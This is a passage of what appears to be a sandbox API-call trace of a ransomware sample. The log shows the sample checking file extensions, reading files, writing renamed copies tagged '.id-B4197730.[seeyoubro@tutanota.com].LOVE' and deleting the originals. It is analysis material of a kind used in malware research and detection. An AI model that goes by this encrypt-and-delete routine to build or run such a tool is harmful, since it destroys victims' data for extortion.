[0221.967] lstrlenW (lpString=".zip") returned 4 [0221.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.967] lstrlenW (lpString=".rar") returned 4 [0221.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.967] lstrlenW (lpString=".bz2") returned 4 [0221.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.967] lstrlenW (lpString=".7z") returned 3 [0221.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0221.967] lstrlenW (lpString=".dbf") returned 4 [0221.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0221.967] lstrlenW (lpString=".1cd") returned 4 [0221.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0221.967] lstrlenW (lpString=".jpg") returned 4 [0221.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.968] GetLastError () returned 0x0 [0221.968] ReadFile (in: hFile=0x2d8, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x23d4, lpOverlapped=0x0) returned 1 [0222.069] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x23e0, lpOverlapped=0x0) returned 1 [0222.530] ReadFile (in: hFile=0x2d8, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0222.530] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0222.530] SetEndOfFile (hFile=0x374) returned 1 [0222.530] CloseHandle (hObject=0x374) returned 1 [0222.530] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0222.530] SetEndOfFile (hFile=0x2d8) returned 1 [0222.531] CloseHandle (hObject=0x2d8) returned 1 [0222.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0222.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 1 [0222.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0222.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0222.931] lstrlenW (lpString=".doc") returned 4 [0222.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.931] lstrlenW (lpString=".docx") returned 5 [0222.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.931] lstrlenW (lpString=".pdf") returned 4 [0222.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.931] lstrlenW (lpString=".xls") returned 4 [0222.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.931] lstrlenW (lpString=".xlsx") returned 5 [0222.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.931] lstrlenW (lpString=".ppt") returned 4 [0222.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0222.931] lstrlenW (lpString=".zip") returned 4 [0222.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.931] lstrlenW (lpString=".rar") returned 4 [0222.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.931] lstrlenW (lpString=".bz2") returned 4 [0222.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.931] lstrlenW (lpString=".7z") returned 3 [0222.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0222.931] lstrlenW (lpString=".dbf") returned 4 [0222.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0222.932] lstrlenW (lpString=".1cd") returned 4 [0222.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0222.932] lstrlenW (lpString=".jpg") returned 4 [0222.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.935] GetLastError () returned 0x0 [0222.935] ReadFile (hFile=0x36c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0) Thread: id = 15 os_tid = 0x200 [0194.560] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x845548 [0194.560] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x855550 [0194.561] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7edfd8 [0194.561] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x7ec290 [0194.561] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ee038 [0194.561] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x3a3a020 [0194.563] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7edff0 [0194.563] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7edff0, Size=0x20) returned 0x7e0548 [0194.563] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ee050 [0194.563] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ee050, Size=0x20) returned 0x7e0480 [0194.563] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0194.564] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0194.564] Wow64DisableWow64FsRedirection (in: OldValue=0x2c5ff50 | out: OldValue=0x2c5ff50*=0x0) returned 1 [0194.564] lstrlenW (lpString="kernel32.dll") returned 12 [0194.564] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e0548 | out: hHeap=0x790000) returned 1 [0194.564] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0194.564] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e0480 | out: hHeap=0x790000) returned 1 [0194.564] Sleep (dwMilliseconds=0x64) [0194.783] lstrcmpiW (lpString1=".log", lpString2=".LOVE") returned -1 [0194.783] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0194.783] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0194.839] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=42674) returned 1 [0194.839] CloseHandle (hObject=0x29c) returned 1 [0194.839] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20 [0194.840] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0194.840] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4 [0194.840] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.840] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.840] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0194.875] GetLastError () returned 0x0 [0194.875] ReadFile (in: hFile=0x2a4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xa6b2, lpOverlapped=0x0) returned 1 [0194.887] WriteFile (in: hFile=0x2b4, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xa6c0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xa6c0, lpOverlapped=0x0) returned 1 [0194.888] ReadFile (in: hFile=0x2a4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.888] WriteFile (in: hFile=0x2b4, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x11e, lpOverlapped=0x0) returned 1 [0194.889] SetEndOfFile (hFile=0x2b4) returned 1 [0194.889] CloseHandle (hObject=0x2b4) returned 1 [0194.890] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.890] SetEndOfFile (hFile=0x2a4) returned 1 [0194.891] CloseHandle (hObject=0x2a4) returned 1 [0194.891] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0194.891] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 1 [0194.892] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0194.892] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0194.892] lstrlenW (lpString=".doc") returned 4 [0194.892] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0194.892] lstrlenW (lpString=".docx") returned 5 [0194.892] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0194.892] lstrlenW (lpString=".pdf") returned 4 [0194.892] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0194.892] lstrlenW (lpString=".xls") returned 4 [0194.892] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0194.892] lstrlenW (lpString=".xlsx") returned 5 [0194.892] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1 [0194.892] lstrlenW (lpString=".ppt") returned 4 [0194.892] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0194.892] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0194.892] lstrlenW (lpString=".zip") returned 4 [0194.892] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0194.892] lstrlenW (lpString=".rar") returned 4 [0194.892] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0194.892] lstrlenW (lpString=".bz2") returned 4 [0194.892] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0194.892] lstrlenW (lpString=".7z") returned 3 [0194.892] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0194.893] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0194.893] lstrlenW (lpString=".dbf") returned 4 [0194.893] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0194.893] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0194.893] lstrlenW (lpString=".1cd") returned 4 [0194.893] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0194.893] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0194.893] lstrlenW (lpString=".jpg") returned 4 [0194.893] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0194.893] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0194.893] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0194.893] lstrlenW (lpString=".doc") returned 4 [0194.893] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0194.893] lstrlenW (lpString=".docx") returned 5 [0194.893] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0194.893] lstrlenW (lpString=".pdf") returned 4 [0194.893] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0194.893] lstrlenW (lpString=".xls") returned 4 [0194.893] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0194.893] lstrlenW (lpString=".xlsx") returned 5 [0194.893] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1 [0194.893] lstrlenW (lpString=".ppt") returned 4 [0194.893] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0194.893] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0194.893] lstrlenW (lpString=".zip") returned 4 [0194.893] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0194.893] lstrlenW (lpString=".rar") returned 4 [0194.893] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0194.893] lstrlenW (lpString=".bz2") returned 4 [0194.894] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0194.894] lstrlenW (lpString=".7z") returned 3 [0194.894] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0194.894] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0194.894] lstrlenW (lpString=".dbf") returned 4 [0194.894] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0194.894] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0194.894] lstrlenW (lpString=".1cd") returned 4 [0194.894] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0194.894] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0194.894] lstrlenW (lpString=".jpg") returned 4 [0194.894] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0194.894] lstrcmpiW (lpString1=".ini", lpString2=".LOVE") returned -1 [0194.894] lstrlenW (lpString="GetCurrentRollback.ini") returned 22 [0194.894] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0194.937] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=156) returned 1 [0194.937] CloseHandle (hObject=0x2b4) returned 1 [0194.937] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20 [0194.937] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0194.937] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0194.937] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.937] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.937] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0194.938] GetLastError () returned 0x0 [0194.938] ReadFile (in: hFile=0x2b4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x9c, lpOverlapped=0x0) returned 1 [0194.939] WriteFile (in: hFile=0x2a8, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xa0, lpOverlapped=0x0) returned 1 [0194.940] ReadFile (in: hFile=0x2b4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.940] WriteFile (in: hFile=0x2a8, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x100, lpOverlapped=0x0) returned 1 [0194.940] SetEndOfFile (hFile=0x2a8) returned 1 [0194.940] CloseHandle (hObject=0x2a8) returned 1 [0194.941] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.941] SetEndOfFile (hFile=0x2b4) returned 1 [0194.941] CloseHandle (hObject=0x2b4) returned 1 [0194.942] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0194.942] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 1 [0194.942] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0194.942] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0194.942] lstrlenW (lpString=".doc") returned 4 [0194.942] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0194.942] lstrlenW (lpString=".docx") returned 5 [0194.942] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0194.942] lstrlenW (lpString=".pdf") returned 4 [0194.942] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0194.942] lstrlenW (lpString=".xls") returned 4 [0194.942] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0194.942] lstrlenW (lpString=".xlsx") returned 5 [0194.943] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1 [0194.943] lstrlenW (lpString=".ppt") returned 4 [0194.943] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0194.943] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0194.943] lstrlenW (lpString=".zip") returned 4 [0194.943] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0194.943] lstrlenW (lpString=".rar") returned 4 [0194.943] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0194.943] lstrlenW (lpString=".bz2") returned 4 [0194.943] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0194.943] lstrlenW (lpString=".7z") returned 3 [0194.943] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0194.943] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0194.943] lstrlenW (lpString=".dbf") returned 4 [0194.943] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0194.943] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0194.943] lstrlenW (lpString=".1cd") returned 4 [0194.943] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0194.943] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0194.943] lstrlenW (lpString=".jpg") returned 4 [0194.943] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0194.943] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0194.943] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0194.943] lstrlenW (lpString=".doc") returned 4 [0194.943] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0194.943] lstrlenW (lpString=".docx") returned 5 [0194.943] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0194.943] lstrlenW (lpString=".pdf") returned 4 [0194.944] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0194.944] lstrlenW (lpString=".xls") returned 4 [0194.944] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0194.944] lstrlenW (lpString=".xlsx") returned 5 [0194.944] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1 [0194.944] lstrlenW (lpString=".ppt") returned 4 [0194.944] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0194.944] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0194.944] lstrlenW (lpString=".zip") returned 4 [0194.944] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0194.944] lstrlenW (lpString=".rar") returned 4 [0194.944] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0194.944] lstrlenW (lpString=".bz2") returned 4 [0194.944] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0194.944] lstrlenW (lpString=".7z") returned 3 [0194.944] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0194.944] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0194.944] lstrlenW (lpString=".dbf") returned 4 [0194.944] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0194.944] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0194.944] lstrlenW (lpString=".1cd") returned 4 [0194.944] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0194.944] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0194.944] lstrlenW (lpString=".jpg") returned 4 [0194.944] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0194.944] lstrcmpiW (lpString1=".ini", lpString2=".LOVE") returned -1 [0194.944] lstrlenW (lpString="desktop.ini") returned 11 [0194.945] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0194.945] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=129) returned 1 [0194.945] CloseHandle (hObject=0x2b4) returned 1 [0194.945] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26 [0194.945] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0194.945] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0194.945] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.945] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.945] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0194.965] GetLastError () returned 0x0 [0194.965] ReadFile (in: hFile=0x2b4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x81, lpOverlapped=0x0) returned 1 [0194.966] WriteFile (in: hFile=0x2a8, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, 